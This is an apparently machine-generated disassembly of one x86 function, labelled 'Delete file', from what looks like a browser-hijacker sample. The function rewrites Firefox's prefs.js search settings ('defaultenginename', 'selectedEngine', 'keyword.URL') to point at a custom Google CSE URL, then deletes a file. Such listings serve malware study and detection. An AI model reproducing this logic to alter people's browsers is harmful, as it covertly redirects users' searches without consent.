Function at 0x526f60
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60c
mov dword [ebp - 0x60c], ebx
mov dword [ebp - 0x4a4], 0
mov dword [ebp - 0x4a8], 0
mov dword [ebp - 0x4ac], 0
mov dword [ebp - 0x4b0], 0
mov dword [ebp - 0x508], 0
lea ecx, [ebp - 0x4c0]
lea edx, [ebp - 0x4d8]
mov eax, 1
call fcn.0040b250
call fcn.0040d0d0
push eax
test eax, eax
jne 0x52723b
lea ecx, [ebp - 0x4e8]
lea edx, [ebp - 0x500]
mov eax, 1
call fcn.0040b250
call fcn.0040d0d0
push eax
test eax, eax
jne 0x52721d
lea eax, [ebp - 0x508]
call fcn.00403a80
mov dword [ebp - 0x508], 0
call fcn.005280d0
lea edx, [ebp - 0x508]
call fcn.004072b0
mov eax, dword [ebp - 0x508]
lea edx, [ebp - 0x4a8]
call fcn.00439020
mov edx, dword [ebp - 0x4a8]
lea eax, [ebp - 0x4ac]
mov ecx, str.prefs.js
call fcn.00406f40
mov edx, dword [ebp - 0x4a8]
lea eax, [ebp - 0x4b0]
mov ecx, str.prefs2.js
call fcn.00406f40
mov eax, dword [ebp - 0x4ac]
call fcn.00440970
test al, al
je 0x527236
mov ecx, dword [ebp - 0x4ac]
lea eax, [ebp - 0x608]
mov edx, 0xff
call fcn.004071e0
lea edx, [ebp - 0x608]
lea eax, [ebp - 0x250]
call fcn.00412f30
lea eax, [ebp - 0x250]
call fcn.0040f730
call fcn.0040c8b0
mov ecx, dword [ebp - 0x4b0]
lea eax, [ebp - 0x608]
mov edx, 0xff
call fcn.004071e0
lea edx, [ebp - 0x608]
lea eax, [ebp - 0x4a0]
call fcn.00412f30
lea eax, [ebp - 0x4a0]
call fcn.0040f6f0
call fcn.0040c8b0
jmp 0x5271bd
lea eax, [ebp - 0x4a4]
call fcn.00403a80
lea edx, [ebp - 0x4a4]
lea eax, [ebp - 0x250]
call fcn.004101a0
call fcn.0040c8b0
lea eax, [ebp - 0x250]
call fcn.0040ff60
call fcn.0040c8b0
mov edx, dword [ebp - 0x4a4]
mov eax, str.browser.search.defaultenginename
call fcn.0043f2d0
mov dword [ebp - 0x4b4], eax
test eax, eax
jle 0x527132
mov ebx, str.user_pref__browser.search.defaultenginename____Google_CSearch___
lea eax, [ebp - 0x4a4]
call fcn.00403a80
mov dword [ebp - 0x4a4], ebx
mov edx, dword [ebp - 0x4a4]
mov eax, str.browser.search.selectedEngine
call fcn.0043f2d0
mov dword [ebp - 0x4b4], eax
test eax, eax
jle 0x527162
mov ebx, str.user_pref__browser.search.selectedEngine____Google_CSearch___
lea eax, [ebp - 0x4a4]
call fcn.00403a80
mov dword [ebp - 0x4a4], ebx
mov edx, dword [ebp - 0x4a4]
mov eax, str._keyword.URL__
call fcn.0043f2d0
mov dword [ebp - 0x4b4], eax
test eax, eax
jle 0x527192
mov ebx, str.user_pref__keyword.URL____http:__www.google.com_cse_cx003532357541664755234:ogmjfysvuiiieUTF_8q___
lea eax, [ebp - 0x4a4]
call fcn.00403a80
mov dword [ebp - 0x4a4], ebx
mov ecx, dword [ebp - 0x4a4]
lea edx, [ebp - 0x4a0]
mov eax, 0
call fcn.0040fcd0
call fcn.0040c8b0
lea eax, [ebp - 0x4a0]
call fcn.0040fa90
call fcn.0040c8b0
lea eax, [ebp - 0x250]
call fcn.0040f840
mov bl, al
call fcn.0040c8b0
test bl, bl
je 0x5270d1
lea eax, [ebp - 0x250]
call fcn.00412f40
call fcn.0040c8b0
lea eax, [ebp - 0x4a0]
call fcn.00412f40
call fcn.0040c8b0
mov eax, dword [ebp - 0x4ac]
test eax, eax
jne 0x527206
mov eax, 0x580e00
push eax
call sub.kernel32.dll_DeleteFileA
mov edx, dword [ebp - 0x4ac]
mov eax, dword [ebp - 0x4b0]
call fcn.00440c80
call fcn.0040b520
pop eax
test eax, eax
je 0x52723b
sub eax, 1
je 0x527231
sub eax, 1
je 0x52723b
call fcn.0040b690
pop eax
push 2
jmp 0x52721d
call fcn.0040b520
lea eax, [ebp - 0x508]
call fcn.00403a80
mov dword [ebp - 0x508], 0
lea eax, [ebp - 0x4a4]
call fcn.00403a80
mov dword [ebp - 0x4a4], 0
lea eax, [ebp - 0x4a8]
call fcn.00403a80
mov dword [ebp - 0x4a8], 0
lea eax, [ebp - 0x4ac]
call fcn.00403a80
mov dword [ebp - 0x4ac], 0
lea eax, [ebp - 0x4b0]
call fcn.00403a80
mov dword [ebp - 0x4b0], 0
pop eax
test eax, eax
je 0x5272b3
call fcn.0040b690
mov ebx, dword [ebp - 0x60c]
leave
ret